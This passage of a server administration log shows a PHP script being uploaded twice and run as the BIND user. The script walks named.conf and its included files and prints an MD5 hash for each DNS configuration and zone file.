MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:36: Establishing a connection
2026-04-23 14:25:36: 

PUT: /tmp/pkp983538

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp983538; rm /tmp/pkp983538'

2026-04-23 14:25:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:56: Establishing a connection
2026-04-23 14:25:56: 

PUT: /tmp/pkp578877

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp578877; rm /tmp/pkp578877'

2026-04-23 14:25:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
